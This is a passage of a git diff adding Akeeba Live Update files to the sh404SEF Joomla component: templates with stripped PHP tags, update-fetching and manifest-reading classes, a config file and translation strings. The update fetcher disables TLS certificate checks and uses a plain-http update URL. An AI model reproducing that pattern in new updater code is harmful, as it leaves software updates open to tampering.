
    + +
    +

    +
    +
    + + updateInfo->extInfo->version ?> +
    +
    + + updateInfo->version ?> +
    +
    + + updateInfo->date ?> +
    + + updateInfo->releasenotes) || !empty($this->updateInfo->infoURL)): ?> +
    + + + updateInfo->releasenotes): ?> + + addScriptDeclaration($script,'text/javascript'); + ?> + + updateInfo->releasenotes && $this->updateInfo->infoURL): ?> +  •  + + updateInfo->infoURL): ?> + + + +
    + +
    + +

    + updateInfo->hasUpdates):?> + needsAuth ? 'disabled="disabled"' : ''?> + + + +

    +
    + + + +

    + Powered by Akeeba Live Update +

    + +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/tmpl/startupdate.php b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/tmpl/startupdate.php new file mode 100644 index 00000000..c6c056e6 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/tmpl/startupdate.php @@ -0,0 +1,50 @@ + + */ + +defined('_JEXEC') or die(); +?> + +
    +
    +

    +
    + + + +
    + + + + + + + + + + + + + +
    + + + +
    + + + +
    + +
    +
    +
    + +

    + Powered by Akeeba Live Update +

    + +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/updatefetch.php b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/updatefetch.php new file mode 100644 index 00000000..940ca9ee --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/updatefetch.php @@ -0,0 +1,352 @@ + + */ + +defined('_JEXEC') or die(); + +/** + * Fetches the update information from the server or the cache, depending on + * whether the cache is fresh or not. + */ +class LiveUpdateFetch extends JObject +{ + private $storage = null; + + /** + * One-stop-shop function which fetches update information and tells you + * if there are updates available or not, or if updates are not supported. + * + * @return int 0 = no updates, 1 = updates available, -1 = updates not supported, -2 = fetching updates crashes the server + */ + public function hasUpdates($force = false) + { + $updateInfo = $this->getUpdateInformation($force); + + if($updateInfo->stuck) return -2; + + if(!$updateInfo->supported) return -1; + + $config = LiveUpdateConfig::getInstance(); + $extInfo = $config->getExtensionInformation(); + + // Filter by stability level + $minStability = $config->getMinimumStability(); + $stability = strtolower($updateInfo->stability); + + switch($minStability) { + case 'alpha': + default: + // Reports any stability level as an available update + break; + + case 'beta': + // Do not report alphas as available updates + if(in_array($stability, array('alpha'))) return 0; + break; + + case 'rc': + // Do not report alphas and betas as available updates + if(in_array($stability, array('alpha','beta'))) return 0; + break; + + case 'stable': + // Do not report alphas, betas and rcs as available updates + if(in_array($stability, array('alpha','beta','rc'))) return 0; + break; + } + + if(empty($updateInfo->version) && empty($updateInfo->date)) return 0; + + // Use the version strategy to determine the availability of an update + switch($config->getVersionStrategy()) { + case 'newest': + JLoader::import('joomla.utilities.date'); + if(empty($extInfo)) { + $mine = new JDate('2000-01-01 00:00:00'); + } else { + try { + $mine = new JDate($extInfo['date']); + } catch(Exception $e) { + $mine = new JDate('2000-01-01 00:00:00'); + } + } + + $theirs = new JDate($updateInfo->date); + + return ($theirs->toUnix() > $mine->toUnix()) ? 1 : 0; + break; + + case 'vcompare': + $mine = $extInfo['version']; + if(empty($mine)) $mine = '0.0.0'; + $theirs = $updateInfo->version; + if(empty($theirs)) $theirs = '0.0.0'; + + return (version_compare($theirs, $mine, 'gt')) ? 1 : 0; + break; + + case 'different': + $mine = $extInfo['version']; + if(empty($mine)) $mine = '0.0.0'; + $theirs = $updateInfo->version; + if(empty($theirs)) $theirs = '0.0.0'; + + return ($theirs != $mine) ? 1 : 0; + break; + } + } + + /** + * Get the latest version (update) information, either from the cache or + * from the update server. + * + * @param $force bool Set to true to force fetching fresh data from the server + * + * @return stdClass The update information, in object format + */ + public function getUpdateInformation($force = false) + { + // shumisha: don't store in cache, we don't use liveUpdate mechanism + // to display available updates + $force = true; + + // Get the Live Update configuration + $config = LiveUpdateConfig::getInstance(); + + // Get an instance of the storage class + $storageOptions = $config->getStorageAdapterPreferences(); + require_once dirname(__FILE__).'/storage/storage.php'; + $this->storage = LiveUpdateStorage::getInstance($storageOptions['adapter'], $storageOptions['config']); + + // If we are requested to forcibly reload the information, clear old data first + if($force) { + $this->storage->set('lastcheck', null); + $this->storage->set('updatedata', null); + $this->storage->save(); + } + + // Fetch information from the cache + $lastCheck = $this->storage->get('lastcheck', 0); + $cachedData = $this->storage->get('updatedata', null); + + if (!is_object($cachedData)) + { + $cachedData = null; + } + + if(empty($cachedData)) { + $lastCheck = 0; + } + + // Check if the cache is at most $cacheTTL hours old + $now = time(); + $maxDifference = $config->updateFileCacheTtl; + $difference = abs($now - $lastCheck); + + if(!($force) && ($difference <= $maxDifference)) { + // The cache is fresh enough; return cached data + return $cachedData; + } else { + // The cache is stale; fetch new data, cache it and return it to the caller + $data = $this->getUpdateData($force); + $this->storage->set('lastcheck', $now); + $this->storage->set('updatedata', $data); + $this->storage->save(); + return $data; + } + } + + /** + * Retrieves the update data from the server, unless previous runs indicate + * that the download process gets stuck and ends up in a WSOD. + * + * @param bool $force Set to true to force fetching new data no matter if the process is marked as stuck + * @return stdClass + */ + private function getUpdateData($force = false) + { + $ret = array( + 'supported' => false, + 'stuck' => true, + 'version' => '', + 'date' => '', + 'stability' => '', + 'downloadURL' => '', + 'infoURL' => '', + 'releasenotes' => '' + ); + + // If the process is marked as "stuck", we won't bother fetching data again; well, + // unless you really force me to, by setting $force = true. + if( ($this->storage->get('stuck',0) != 0) && !$force) return (object)$ret; + + $ret['stuck'] = false; + + require_once dirname(__FILE__).'/download.php'; + + // First we mark Live Updates as getting stuck. This way, if fetching the update + // fails with a server error, reloading the page will not result to a White Screen + // of Death again. Hey, Joomla! core team, are you listening? Some hosts PRETEND to + // support cURL or URL fopen() wrappers but using them throws an immediate WSOD. + $this->storage->set('stuck', 1); + $this->storage->save(); + + $config = LiveUpdateConfig::getInstance(); + $extInfo = $config->getExtensionInformation(); + $url = $extInfo['updateurl']; + $rawData = LiveUpdateDownloadHelper::downloadAndReturn($url); + + // Now that we have some data returned, let's unmark the process as being stuck ;) + $this->storage->set('stuck', 0); + $this->storage->save(); + + // If we didn't get anything, assume Live Update is not supported (communication error) + if(empty($rawData) || ($rawData == false)) return (object)$ret; + + // TODO Detect the content type of the returned update stream. For now, I will pretend it's an INI file. + + $data = $this->parseINI($rawData); + $ret['supported'] = true; + + return (object)array_merge($ret, $data); + } + + /** + * Fetches update information from the server using cURL + * @return string The raw server data + */ + private function fetchCURL() + { + $config = LiveUpdateConfig::getInstance(); + $extInfo = $config->getExtensionInformation(); + $url = $extInfo['updateurl']; + + $process = curl_init($url); + $config = new LiveUpdateConfig(); + $config->applyCACert($process); + curl_setopt($process, CURLOPT_HEADER, 0); + // Pretend we are Firefox, so that webservers play nice with us + curl_setopt($process, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14) Gecko/20110105 Firefox/3.6.14'); + curl_setopt($process, CURLOPT_ENCODING, 'gzip'); + curl_setopt($process, CURLOPT_TIMEOUT, 10); + curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($process, CURLOPT_SSL_VERIFYPEER, false); + // The @ sign allows the next line to fail if open_basedir is set or if safe mode is enabled + @curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1); + @curl_setopt($process, CURLOPT_MAXREDIRS, 20); + $inidata = curl_exec($process); + curl_close($process); + return $inidata; + } + + /** + * Fetches update information from the server using file_get_contents, which internally + * uses URL fopen() wrappers. + * @return string The raw server data + */ + private function fetchFOPEN() + { + $config = LiveUpdateConfig::getInstance(); + $extInfo = $config->getExtensionInformation(); + $url = $extInfo['updateurl']; + + return @file_get_contents($url); + } + + /** + * Parses the raw INI data into an array of update information + * @param string $rawData The raw INI data + * @return array The parsed data + */ + private function parseINI($rawData) + { + $ret = array( + 'version' => '', + 'date' => '', + 'stability' => '', + 'downloadURL' => '', + 'infoURL' => '', + 'releasenotes' => '' + ); + + // Get the magic string + $magicPos = strpos($rawData, '; Live Update provision file'); + + if($magicPos === false) { + // That's not an INI file :( + return $ret; + } + + if($magicPos !== 0) { + $rawData = substr($rawData, $magicPos); + } + + require_once dirname(__FILE__).'/inihelper.php'; + $iniData = LiveUpdateINIHelper::parse_ini_file($rawData, false, true); + + // Get the supported platforms + $supportedPlatform = false; + $versionParts = explode('.',JVERSION); + $currentPlatform = $versionParts[0].'.'.$versionParts[1]; + + if(array_key_exists('platforms', $iniData)) { + $rawPlatforms = explode(',', $iniData['platforms']); + foreach($rawPlatforms as $platform) { + $platform = trim($platform); + if(substr($platform,0,7) != 'joomla/') { + continue; + } + $platform = substr($platform, 7); + if($currentPlatform == $platform) { + $supportedPlatform = true; + } + } + } else { + // Lies, damn lies + $supportedPlatform = true; + } + + if(!$supportedPlatform) { + return $ret; + } + + $ret['version'] = array_key_exists('version', $iniData) ? $iniData['version'] : ''; + $ret['date'] = array_key_exists('date', $iniData) ? $iniData['date'] : ''; + $config = LiveUpdateConfig::getInstance(); + $auth = $config->getAuthorization(); + if(!array_key_exists('link', $iniData)) $iniData['link'] = ''; + $glue = strpos($iniData['link'],'?') === false ? '?' : '&'; + $ret['downloadURL'] = $iniData['link'] . (empty($auth) ? '' : $glue.$auth); + if(array_key_exists('stability', $iniData)) { + $stability = $iniData['stability']; + } else { + // Stability not defined; guesswork mode enabled + $version = $ret['version']; + if( preg_match('#^[0-9\.]*a[0-9\.]*#', $version) == 1 ) { + $stability = 'alpha'; + } elseif( preg_match('#^[0-9\.]*b[0-9\.]*#', $version) == 1 ) { + $stability = 'beta'; + } elseif( preg_match('#^[0-9\.]*rc[0-9\.]*#', $version) == 1 ) { + $stability = 'rc'; + } elseif( preg_match('#^[0-9\.]*$#', $version) == 1 ) { + $stability = 'stable'; + } else { + $stability = 'svn'; + } + } + $ret['stability'] = $stability; + + if(array_key_exists('releasenotes', $iniData)) { + $ret['releasenotes'] = $iniData['releasenotes']; + } + + if(array_key_exists('infourl', $iniData)) { + $ret['infoURL'] = $iniData['infourl']; + } + + return $ret; + } +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/view.php b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/view.php new file mode 100644 index 00000000..2908e82f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/view.php @@ -0,0 +1,103 @@ + + */ + +defined('_JEXEC') or die(); + +JLoader::import('joomla.application.component.view'); + +if(!class_exists('JoomlaCompatView')) { + if(interface_exists('JView')) { + abstract class JoomlaCompatView extends JViewLegacy {} + } else { + class JoomlaCompatView extends JView {} + } +} + +/** + * The Live Update MVC view + */ +class LiveUpdateView extends JoomlaCompatView +{ + public function display($tpl = null) + { + // Load the CSS + $config = LiveUpdateConfig::getInstance(); + $this->assign('config', $config); + if(!$config->addMedia()) { + // No custom CSS overrides were set; include our own + $document = JFactory::getDocument(); + $url = JURI::base().'/components/'.JRequest::getCmd('option','').'/liveupdate/assets/liveupdate.css'; + $document->addStyleSheet($url, 'text/css'); + } + + $requeryURL = rtrim(JURI::base(),'/').'/index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&force=1'; + $this->assign('requeryURL', $requeryURL); + + $model = $this->getModel(); + + $extInfo = (object)$config->getExtensionInformation(); + JToolBarHelper::title($extInfo->title.' – '.JText::_('LIVEUPDATE_TASK_OVERVIEW'),'liveupdate'); + JToolBarHelper::back('JTOOLBAR_BACK', 'index.php?option='.JRequest::getCmd('option','')); + + if(version_compare(JVERSION, '3.0', 'ge')) { + $j3css = <<addStyleDeclaration($j3css); + } + + switch(JRequest::getCmd('task','default')) + { + case 'startupdate': + $this->setLayout('startupdate'); + $this->assign('url','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download'); + break; + + case 'install': + $this->setLayout('install'); + + // Get data from the model + $state = $this->get('State'); + + // Are there messages to display ? + $showMessage = false; + if ( is_object($state) ) + { + $message1 = $state->get('message'); + $message2 = $state->get('extension.message'); + $showMessage = ( $message1 || $message2 ); + } + + $this->assign('showMessage', $showMessage); + $this->assignRef('state', $state); + + break; + + case 'nagscreen': + $this->setLayout('nagscreen'); + $this->assign('updateInfo', LiveUpdate::getUpdateInformation()); + $this->assign('runUpdateURL','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=startupdate&skipnag=1'); + break; + + case 'overview': + default: + $this->setLayout('overview'); + + $force = JRequest::getInt('force',0); + $this->assign('updateInfo', LiveUpdate::getUpdateInformation($force)); + $this->assign('runUpdateURL','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=startupdate'); + + $needsAuth = !($config->getAuthorization()) && ($config->requiresAuthorization()); + $this->assign('needsAuth', $needsAuth); + break; + } + + parent::display($tpl); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/xmlslurp.php b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/xmlslurp.php new file mode 100644 index 00000000..2e2c4ef6 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/xmlslurp.php @@ -0,0 +1,369 @@ + + */ + +defined('_JEXEC') or die(); + +class LiveUpdateXMLSlurp extends JObject +{ + private $_info = array(); + + public function getInfo($extensionName, $xmlName) + { + if(!array_key_exists($extensionName, $this->_info)) { + $this->_info[$extensionName] = $this->fetchInfo($extensionName, $xmlName); + } + + return $this->_info[$extensionName]; + } + + /** + * Gets the version information of an extension by reading its XML file + * @param string $extensionName The name of the extension, e.g. com_foobar, mod_foobar, plg_foobar or tpl_foobar. + * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml + */ + private function fetchInfo($extensionName, $xmlName) + { + $type = strtolower(substr($extensionName,0,3)); + switch($type) { + case 'com': + return $this->getComponentData($extensionName, $xmlName); + break; + case 'mod': + return $this->getModuleData($extensionName, $xmlName); + break; + case 'plg': + return $this->getPluginData($extensionName, $xmlName); + break; + case 'tpl': + return $this->getTemplateData($extensionName, $xmlName); + break; + case 'pkg': + return $this->getPackageData($extensionName, $xmlName); + break; + case 'lib': + return $this->getPackageData($extensionName, $xmlName); + break; + default: + if(strtolower(substr($extensionName, 0, 4)) == 'file') { + return $this->getPackageData($extensionName, $xmlName); + } else { + return array('version'=>'', 'date'=>''); + } + } + } + + /** + * Gets the version information of a component by reading its XML file + * @param string $extensionName The name of the extension, e.g. com_foobar + * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml + */ + private function getComponentData($extensionName, $xmlName) + { + $extensionName = strtolower($extensionName); + $path = JPATH_ADMINISTRATOR.'/components/'.$extensionName; + $altExtensionName = substr($extensionName,4); + + JLoader::import('joomla.filesystem.file'); + if(JFile::exists("$path/$xmlName")) { + $filename = "$path/$xmlName"; + } elseif(JFile::exists("$path/$extensionName.xml")) { + $filename = "$path/$extensionName.xml"; + } elseif(JFile::exists("$path/$altExtensionName.xml")) { + $filename = "$path/$altExtensionName.xml"; + } elseif(JFile::exists("$path/manifest.xml")) { + $filename = "$path/manifest.xml"; + } else { + $filename = $this->searchForManifest($path); + if($filename === false) $filename = null; + } + + if(empty($filename)) { + return array('version' => '', 'date' => '', 'xmlfile' => ''); + } + + try { + $xml = new SimpleXMLElement($filename, LIBXML_NONET, true); + } catch(Exception $e) { + return array('version' => '', 'date' => '', 'xmlfile' => ''); + } + + // Need to check for extension (since 1.6) and install (supported through 2.5) + if ($xml->getName() != 'extension' && $xml->getName() != 'install') { + unset($xml); + return array('version' => '', 'date' => '', 'xmlfile' => ''); + } + + $data['version'] = $xml->version ? (string) $xml->version : ''; + $data['date'] = $xml->creationDate ? (string) $xml->creationDate : ''; + $data['xmlfile'] = $filename; + + return $data; + } + + /** + * Gets the version information of a module by reading its XML file + * @param string $extensionName The name of the extension, e.g. mod_foobar + * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml + */ + private function getModuleData($extensionName, $xmlName) + { + $extensionName = strtolower($extensionName); + $altExtensionName = substr($extensionName,4); + + JLoader::import('joomla.filesystem.folder'); + JLoader::import('joomla.filesystem.file'); + $path = JPATH_SITE.'/modules/'.$extensionName; + if(!JFolder::exists($path)) { + $path = JPATH_ADMINISTRATOR.'/modules/'.$extensionName; + } + if(!JFolder::exists($path)) { + // Joomla! 1.5 + // 1. Check front-end + $path = JPATH_ADMINISTRATOR.'/modules'; + $filename = "$path/$xmlName"; + if(!JFile::exists($filename)) { + $filename = "$path/$extensionName.xml"; + } + if(!JFile::exists($filename)) { + $filename = "$path/$altExtensionName.xml"; + } + // 2. Check front-end + if(!JFile::exists($filename)) { + $path = JPATH_SITE.'/modules'; + $filename = "$path/$xmlName"; + if(!JFile::exists($filename)) { + $filename = "$path/$extensionName.xml"; + } + if(!JFile::exists($filename)) { + $filename = "$path/$altExtensionName.xml"; + } + if(!JFile::exists($filename)) { + return array('version' => '', 'date' => ''); + } + } + } else { + // Joomla! 1.6 + $filename = "$path/$xmlName"; + if(!JFile::exists($filename)) { + $filename = "$path/$extensionName.xml"; + } + if(!JFile::exists($filename)) { + $filename = "$path/$altExtensionName.xml"; + } + if(!JFile::exists($filename)) { + return array('version' => '', 'date' => ''); + } + } + + if(empty($filename)) { + return array('version' => '', 'date' => '', 'xmlfile' => ''); + } + + try { + $xml = new SimpleXMLElement($filename, LIBXML_NONET, true); + } catch(Exception $e) { + return array('version' => '', 'date' => '', 'xmlfile' => ''); + } + + // Need to check for extension (since 1.6) and install (supported through 2.5) + if ($xml->getName() != 'extension' && $xml->getName() != 'install') { + unset($xml); + return array('version' => '', 'date' => '', 'xmlfile' => ''); + } + + $data['version'] = $xml->version ? (string) $xml->version : ''; + $data['date'] = $xml->creationDate ? (string) $xml->creationDate : ''; + $data['xmlfile'] = $filename; + + return $data; + } + + /** + * Gets the version information of a plugin by reading its XML file + * @param string $extensionName The name of the plugin, e.g. plg_foobar + * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml + */ + private function getPluginData($extensionName, $xmlName) + { + $extensionName = strtolower($extensionName); + $altExtensionName = substr($extensionName,4); + + JLoader::import('joomla.filesystem.folder'); + JLoader::import('joomla.filesystem.file'); + + $base = JPATH_PLUGINS; + + // Get a list of directories + $stack = JFolder::folders($base,'.',true,true); + foreach($stack as $path) + { + $filename = "$path/$xmlName"; + if(JFile::exists($filename)) break; + $filename = "$path/$extensionName.xml"; + if(JFile::exists($filename)) break; + $filename = "$path/$altExtensionName.xml"; + if(JFile::exists($filename)) break; + } + + if(!JFile::exists($filename)) { + return array('version' => '', 'date' => '', 'xmlfile' => ''); + } + + try { + $xml = new SimpleXMLElement($filename, LIBXML_NONET, true); + } catch(Exception $e) { + return array('version' => '', 'date' => '', 'xmlfile' => ''); + } + + // Need to check for extension (since 1.6) and install (supported through 2.5) + if ($xml->getName() != 'extension' && $xml->getName() != 'install') { + unset($xml); + return array('version' => '', 'date' => '', 'xmlfile' => ''); + } + + $data['version'] = $xml->version ? (string) $xml->version : ''; + $data['date'] = $xml->creationDate ? (string) $xml->creationDate : ''; + $data['xmlfile'] = $filename; + + return $data; + } + + /** + * Gets the version information of a template by reading its XML file + * @param string $extensionName The name of the template, e.g. tpl_foobar + * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml or templateDetails.xml + */ + private function getTemplateData($extensionName, $xmlName) + { + $extensionName = strtolower($extensionName); + $altExtensionName = substr($extensionName,4); + + JLoader::import('joomla.filesystem.folder'); + JLoader::import('joomla.filesystem.file'); + + // First look for administrator templates + $path = JPATH_THEMES.'/'.$altExtensionName; + if(!JFolder::exists($path)) { + // Then look for front-end templates + $path = JPATH_SITE.'/templates/'.$altExtensionName; + if(!JFolder::exists($path)) return array('version' => '', 'date' => ''); + } + + $filename = "$path/$xmlName"; + if(!JFile::exists($filename)) { + $filename = "$path/templateDetails.xml"; + } + if(!JFile::exists($filename)) { + $filename = "$path/$extensionName.xml"; + } + if(!JFile::exists($filename)) { + $filename = "$path/$altExtensionName.xml"; + } + if(!JFile::exists($filename)) { + return array('version' => '', 'date' => '', 'xmlfile' => ''); + } + + try { + $xml = new SimpleXMLElement($filename, LIBXML_NONET, true); + } catch(Exception $e) { + return array('version' => '', 'date' => '', 'xmlfile' => ''); + } + + // Need to check for extension (since 1.6) and install (supported through 2.5) + if ($xml->getName() != 'extension' && $xml->getName() != 'install') { + unset($xml); + return array('version' => '', 'date' => '', 'xmlfile' => ''); + } + + $data['version'] = $xml->version ? (string) $xml->version : ''; + $data['date'] = $xml->creationDate ? (string) $xml->creationDate : ''; + $data['xmlfile'] = $filename; + + return $data; + } + + /** + * This method parses the manifest information of package, library and file + * extensions. All of those extensions do not store their manifests in the + * extension's directory, but in administrator/manifests. Kudos to @mbabker + * for sharing this method! + * + * @param string $extensionName + * @param string $xmlName + * @return type + */ + private function getPackageData($extensionName, $xmlName) + { + $extensionName = strtolower($extensionName); + $altExtensionName = substr($extensionName,4); + + JLoader::import('joomla.filesystem.folder'); + JLoader::import('joomla.filesystem.file'); + $path = JPATH_ADMINISTRATOR.'/manifests/packages'; + + $filename = "$path/$xmlName"; + if(!JFile::exists($filename)) { + $filename = "$path/$extensionName.xml"; + } + if(!JFile::exists($filename)) { + $filename = "$path/$altExtensionName.xml"; + } + if(!JFile::exists($filename)) { + return array('version' => '', 'date' => ''); + } + + if(empty($filename)) { + return array('version' => '', 'date' => '', 'xmlfile' => ''); + } + + try { + $xml = new SimpleXMLElement($filename, LIBXML_NONET, true); + } catch(Exception $e) { + return array('version' => '', 'date' => '', 'xmlfile' => ''); + } + + // Need to check for extension (since 1.6) and install (supported through 2.5) + if ($xml->getName() != 'extension') { + unset($xml); + return array('version' => '', 'date' => '', 'xmlfile' => ''); + } + + $data['version'] = $xml->version ? (string) $xml->version : ''; + $data['date'] = $xml->creationDate ? (string) $xml->creationDate : ''; + $data['xmlfile'] = $filename; + + return $data; + } + + /** + * Scans a directory for XML manifest files. The first XML file to be a + * manifest wins. + * + * @var $path string The path to look into + * + * @return string|bool The full path to a manifest file or false if not found + */ + private function searchForManifest($path) + { + JLoader::import('joomla.filesystem.folder'); + $files = JFolder::files($path, '\.xml$', false, true); + if(!empty($files)) foreach($files as $filename) { + try { + $xml = new SimpleXMLElement($filename, LIBXML_NONET, true); + } catch(Exception $e) { + continue; + } + + // Check for extension (since 1.6) and install (supported through 2.5) + if(($xml->getName() != 'extension' && $xml->getName() != 'install')) continue; + unset($xml); + return $filename; + } + + return false; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/config.php b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/config.php new file mode 100644 index 00000000..8c3a514d --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/config.php @@ -0,0 +1,26 @@ + + */ + +defined('_JEXEC') or die(); + +/** + * Configuration class for your extension's updates. Override to your liking. + */ +class LiveUpdateConfig extends LiveUpdateAbstractConfig +{ + var $_extensionName = 'com_sh404sef'; + var $_extensionTitle = 'sh404SEF'; + var $_updateURL = 'http://u1.weeblr.com/public/direct/sh404sef/update/com_sh404sef_full.ini'; + var $_requiresAuthorization = false; // we use installer plugin for that + var $_versionStrategy = 'vcompare'; + var $_storageAdapter = 'file'; + var $_storageConfig = array( + 'extensionName' => 'com_sh404sef', + 'key' => 'liveupdate' + ); + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/index.html new file mode 100644 index 00000000..a3ac1d48 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/bg-BG/bg-BG.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/bg-BG/bg-BG.liveupdate.ini new file mode 100644 index 00000000..8c2c8bec --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/bg-BG/bg-BG.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +; LIVEUPDATE_TASK_OVERVIEW="Live Update" + +; LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update is not supported on this server" +; LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. Please contact your host and ask them to enable the cURL PHP extension or activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:" +; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="You can always update %s by visiting our site manually, downloading the latest release and installing it using Joomla!'s extension installer." + +; LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed" +; LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "_QQ_"Refresh update information"_QQ_" button below. If that results to a blank page, please contact your host and report this issue." + +; LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that." +; LIVEUPDATE_HASUPDATES_HEAD="A new version is available" +; LIVEUPDATE_NOUPDATES_HEAD="You already have the latest version" +LIVEUPDATE_CURRENTVERSION="инсталирана версия" +LIVEUPDATE_LATESTVERSION="последна налична версия" +; LIVEUPDATE_LATESTRELEASED="Latest release date" +LIVEUPDATE_DOWNLOADURL="директно сваляне от URL адрес" + +LIVEUPDATE_REFRESH_INFO="актуализиране на информация за актуализацията" +LIVEUPDATE_DO_UPDATE="актуализиране към последната налична версия" + +; LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.

    Please provide the FTP username and password below to proceed with the update." +LIVEUPDATE_FTP="FTP информация" +LIVEUPDATE_FTPUSERNAME="FTP потребителско име" +LIVEUPDATE_FTPPASSWORD="FTP парола" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="изтегли и инсталирай актуализацията" + +; LIVEUPDATE_DOWNLOAD_FAILED="Downloading the update package failed. Make sure that your temp-directory is writable or that you have enabled Joomla!'s FTP options in your site's Global Configuration." +; LIVEUPDATE_EXTRACT_FAILED="Extracting the update package failed. Please try updating the extension manually." + +; LIVEUPDATE_INVALID_PACKAGE_TYPE="Invalid package type. The update can not proceed." +LIVEUPDATE_INSTALLEXT="инсталирайте %s %s" +LIVEUPDATE_ERROR="грешка" +LIVEUPDATE_SUCCESS="успех" + +; LIVEUPDATE_ICON_UNSUPPORTED="Live Update not supported" +; LIVEUPDATE_ICON_CRASHED="Live Update crashed" +LIVEUPDATE_ICON_CURRENT="Вие имате последната версия" +LIVEUPDATE_ICON_UPDATES="НАМЕРЕНА Е АКТУАЛИЗАЦИЯ! ЩРАКНЕТЕ, ЗА ДА АКТУАЛИЗИРАТЕ." + +LIVEUPDATE_RELEASEINFO="информация" +; LIVEUPDATE_RELEASENOTES="Release notes" +LIVEUPDATE_READMOREINFO="прочети още" + +LIVEUPDATE_NAGSCREEN_HEAD="ПРЕДУПРЕЖДЕНИЕ! Вие се опитвате да инсталирате нестабилна версия." +; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release." +LIVEUPDATE_NAGSCREEN_BUTTON="разбирам какви са възможните рискове. Продължи с инсталацията." + +LIVEUPDATE_STABILITY_ALPHA="алфа версия" +LIVEUPDATE_STABILITY_BETA="бета версия" +; LIVEUPDATE_STABILITY_RC="RC" +LIVEUPDATE_STABILITY_STABLE="стабилна версия" +; LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/bs-BA/bs-BA.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/bs-BA/bs-BA.liveupdate.ini new file mode 100644 index 00000000..c04f2965 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/bs-BA/bs-BA.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Nadogradnja uživo" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Nadogradnaj uživo nije podržana na ovo serveru" +LIVEUPDATE_NOTSUPPORTED_INFO="Vaš server ukazuje da Nadogradnja uživo nije podržana. Molimo kontaktirajte vaš host i pitajte da omoguće cURL PHP ekstenziju ili aktiviraju URL fopen() omotače. Ako su ove već omogućene, molimo da ih pitate da podese vatreni zid kako bi dozvolio pristup sljedećem URL-u:" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Možete uvijek nadograditi %s tako što će te ručno posjetiti našu stanicu, gdje možete preuzeti posljednje izdanje i instalirati upotrebom Joomla! instalera za ekstenzije." + +LIVEUPDATE_STUCK_HEAD="Nadogradnja uživo se označila kao srušena" +LIVEUPDATE_STUCK_INFO="Nadogradnja uživo je odredila da se srušila posljednji put pri pokušaju da kontaktira server za nadogradnu. Ovo pretežno ukazuje na host koji aktivno blokira komunikaciju sa eksternim stranicama. Ako želite pokušati povući informacije o nadogradnji, molimo kliknite na "_QQ_"Osvježi 